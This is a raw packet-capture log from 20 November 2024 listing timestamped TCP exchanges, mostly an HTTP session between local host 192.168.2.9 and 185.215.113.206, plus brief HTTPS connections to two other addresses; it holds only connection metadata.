Nov 20, 2024 16:50:56.510065079 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.510706902 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.510777950 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.510823011 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.511651039 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.511698008 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.511764050 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.511801004 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.512561083 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.512685061 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.512731075 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.513488054 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.513544083 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.513593912 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.513698101 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.514517069 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.514533043 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.514564037 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.514586926 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.515367031 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.515402079 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.515443087 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.515443087 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.516269922 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.516316891 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.516402006 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.516439915 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.517220020 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.517271042 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.517277956 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.517318010 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.518193007 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.518249035 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.518260002 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.518358946 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.518990040 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.519049883 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.519179106 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.519270897 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.519922018 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.519977093 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.520030022 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.520473003 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.520932913 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.520978928 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.521003962 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.521517038 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.521794081 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.521833897 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.521893978 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.521934986 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.522681952 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.522737026 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.522906065 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.522955894 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.523624897 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.523672104 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.523824930 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.524600983 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.524626970 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.524665117 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.524709940 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.524753094 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.525502920 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.525547028 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.525597095 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.526439905 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.526493073 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.526537895 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.527308941 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.527355909 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.527398109 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.528249025 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.528304100 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.528306961 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.528347015 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.529222012 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.529378891 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.529448986 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.530102015 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.530163050 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.530213118 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.531012058 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.531070948 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.531116009 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.531919956 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.531960964 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.532022953 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.532855034 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.532927990 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.532970905 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.533015966 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.533771992 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.533859015 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.533910036 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.534708977 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.534749031 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.534801006 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.535604000 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.535629988 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.535666943 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.535681009 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.536536932 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.536761999 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.536813974 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.537420988 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.537558079 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.537609100 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.538336992 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.538384914 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.538422108 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.539256096 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.539335012 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.539345980 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.540164948 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.540216923 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.540230036 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.540271044 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.541167974 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.541306973 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.541357994 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.542011023 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.542109013 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.542161942 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.542920113 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.542968035 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.542972088 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.543858051 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.543929100 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.543943882 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.543987036 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.544776917 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.544835091 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.544881105 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.545680046 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.545723915 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.545789003 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.546622992 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.546668053 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.546753883 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.547514915 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.547569036 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.547714949 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.548526049 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.548610926 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.548835993 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.548881054 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.549366951 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.549391985 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.549434900 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.550293922 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.550338984 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.550393105 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.551215887 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.551261902 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.551301003 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.551703930 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.552119970 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.552160978 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.552195072 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.552402020 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.553049088 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.553097010 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.553113937 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.553155899 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.553966045 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.554008961 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.554064035 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.554944038 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.554989100 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.555016041 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.555891991 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.555942059 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.556128979 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.556169987 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.556730986 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.556869984 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.556921005 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.557697058 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.557770014 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.557833910 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.558576107 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.558619022 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.559431076 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.559464931 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.559509993 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.700787067 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.700861931 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.700951099 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.701101065 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.701272011 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.701316118 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.702033043 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.702156067 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.702195883 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.703103065 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.703157902 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.703193903 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.703923941 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.703969002 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.704020977 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.704845905 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.704889059 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.704929113 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.704967976 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.705821037 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.705888033 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.705900908 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.706655025 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.706659079 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.706757069 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.706796885 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.707731009 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.707743883 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.707792997 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.708528042 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.708585024 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.708683014 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.708723068 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.709481001 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.709533930 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.709584951 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.709835052 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.710331917 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.710372925 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.710465908 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.710503101 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.711263895 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.711333990 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.711385965 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.711452961 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.712274075 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.712335110 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.712353945 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.712383986 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.713119984 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.713165045 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.713224888 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.713296890 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.713989973 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.714037895 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.714081049 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.714330912 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.714456081 CET	49801	443	192.168.2.9	184.28.190.187
Nov 20, 2024 16:50:56.714514971 CET	443	49801	184.28.190.187	192.168.2.9
Nov 20, 2024 16:50:56.714931011 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.714996099 CET	49801	443	192.168.2.9	184.28.190.187
Nov 20, 2024 16:50:56.715008020 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.715037107 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.715051889 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.715826035 CET	49802	443	192.168.2.9	13.107.246.40
Nov 20, 2024 16:50:56.715846062 CET	443	49802	13.107.246.40	192.168.2.9
Nov 20, 2024 16:50:56.715864897 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.715920925 CET	49802	443	192.168.2.9	13.107.246.40
Nov 20, 2024 16:50:56.715953112 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.715984106 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.715998888 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.716013908 CET	49803	443	192.168.2.9	13.107.246.40
Nov 20, 2024 16:50:56.716046095 CET	443	49803	13.107.246.40	192.168.2.9
Nov 20, 2024 16:50:56.716095924 CET	49803	443	192.168.2.9	13.107.246.40
Nov 20, 2024 16:50:56.716201067 CET	49804	443	192.168.2.9	13.107.246.40
Nov 20, 2024 16:50:56.716254950 CET	443	49804	13.107.246.40	192.168.2.9
Nov 20, 2024 16:50:56.716299057 CET	49804	443	192.168.2.9	13.107.246.40
Nov 20, 2024 16:50:56.716626883 CET	49805	443	192.168.2.9	13.107.246.40
Nov 20, 2024 16:50:56.716660976 CET	443	49805	13.107.246.40	192.168.2.9
Nov 20, 2024 16:50:56.716712952 CET	49805	443	192.168.2.9	13.107.246.40
Nov 20, 2024 16:50:56.716772079 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.716814995 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.716882944 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.716922998 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.716938019 CET	49806	443	192.168.2.9	13.107.246.40
Nov 20, 2024 16:50:56.716948032 CET	443	49806	13.107.246.40	192.168.2.9
Nov 20, 2024 16:50:56.717108011 CET	49806	443	192.168.2.9	13.107.246.40
Nov 20, 2024 16:50:56.717364073 CET	49807	443	192.168.2.9	13.107.246.40
Nov 20, 2024 16:50:56.717377901 CET	443	49807	13.107.246.40	192.168.2.9
Nov 20, 2024 16:50:56.717422009 CET	49807	443	192.168.2.9	13.107.246.40
Nov 20, 2024 16:50:56.717722893 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.717844963 CET	49801	443	192.168.2.9	184.28.190.187
Nov 20, 2024 16:50:56.717864990 CET	443	49801	184.28.190.187	192.168.2.9
Nov 20, 2024 16:50:56.717890024 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.717968941 CET	49802	443	192.168.2.9	13.107.246.40
Nov 20, 2024 16:50:56.717981100 CET	443	49802	13.107.246.40	192.168.2.9
Nov 20, 2024 16:50:56.718154907 CET	49803	443	192.168.2.9	13.107.246.40
Nov 20, 2024 16:50:56.718161106 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.718170881 CET	443	49803	13.107.246.40	192.168.2.9
Nov 20, 2024 16:50:56.718211889 CET	49804	443	192.168.2.9	13.107.246.40
Nov 20, 2024 16:50:56.718225956 CET	443	49804	13.107.246.40	192.168.2.9
Nov 20, 2024 16:50:56.718260050 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.718323946 CET	49805	443	192.168.2.9	13.107.246.40
Nov 20, 2024 16:50:56.718341112 CET	443	49805	13.107.246.40	192.168.2.9
Nov 20, 2024 16:50:56.718425989 CET	49806	443	192.168.2.9	13.107.246.40
Nov 20, 2024 16:50:56.718436003 CET	443	49806	13.107.246.40	192.168.2.9
Nov 20, 2024 16:50:56.718521118 CET	49807	443	192.168.2.9	13.107.246.40
Nov 20, 2024 16:50:56.718539953 CET	443	49807	13.107.246.40	192.168.2.9
Nov 20, 2024 16:50:56.718662977 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.718698978 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.718736887 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.718816042 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.719666958 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.719733000 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.719820023 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.719866037 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.720475912 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.720529079 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.720634937 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.720678091 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.721385002 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.721431971 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.721486092 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.721539974 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.722336054 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.722399950 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.722426891 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.722461939 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.723218918 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.723265886 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.723305941 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.723354101 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.724138975 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.724186897 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.724241972 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.724280119 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.725061893 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.725110054 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.725168943 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.725205898 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.726841927 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.726912975 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.728454113 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.728524923 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.731362104 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.731383085 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.731395960 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.731406927 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.731419086 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.731446028 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.731472969 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.731489897 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.731717110 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.732342005 CET	80	49752	185.215.113.206	192.168.2.9
